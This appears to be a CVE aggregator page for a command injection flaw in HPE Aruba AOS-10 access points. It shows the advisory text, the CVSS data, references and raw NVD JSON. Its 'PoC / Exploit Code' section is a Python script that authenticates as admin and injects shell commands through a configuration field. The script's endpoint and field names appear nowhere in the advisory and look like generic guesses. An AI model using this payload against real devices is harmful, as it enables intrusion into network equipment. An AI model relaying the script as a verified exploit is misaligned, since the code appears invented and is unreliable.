CVE-2026-23821

Description

A vulnerability in the configuration processing logic of Access Points running AOS-10 could allow an authenticated remote attacker to execute system commands under certain pre-existing conditions. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system. Note: Access Points running AOS-8 Instant software are not affected by this vulnerability.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

HPE Aruba Access Points running AOS-10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL configuration endpoint
TARGET_URL = "https://<target-ip>/api/v1/configuration/apply"

# Valid high-privilege credentials (Required per PR:H)
AUTH_CREDS = {
    "username": "admin",
    "password": "admin_password"
}

# Malicious configuration payload leveraging command injection
# Attempting to execute 'id' and 'whoami' commands
malicious_payload = {
    "interface_setting": "eth0; id; whoami; #",
    "commit": "true"
}

def exploit():
    try:
        # Establish session and authenticate
        session = requests.Session()
        login_response = session.post("https://<target-ip>/api/v1/login", data=AUTH_CREDS, verify=False)
        
        if login_response.status_code != 200:
            print("[-] Authentication failed.")
            return

        print("[+] Authentication successful. Sending malicious payload...")
        
        # Send the malicious configuration request
        response = session.post(TARGET_URL, json=malicious_payload, verify=False)
        
        if response.status_code == 200:
            print("[+] Payload sent successfully. Check for command execution results.")
            print("[+] Response body:", response.text)
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23821
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23821
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23821/
[4] VulDB https://vuldb.com/cve/CVE-2026-23821
[5] https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23821", "sourceIdentifier": "[email protected]", "published": "2026-05-12T19:16:28.840", "lastModified": "2026-05-13T15:35:17.550", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the configuration processing logic of Access Points running AOS-10 could allow an authenticated remote attacker to execute system commands under certain pre-existing conditions. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.\n\nNote: Access Points running AOS-8 Instant software are not affected by this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05049en_us&docLocale=en_US", "source": "[email protected]"}]}}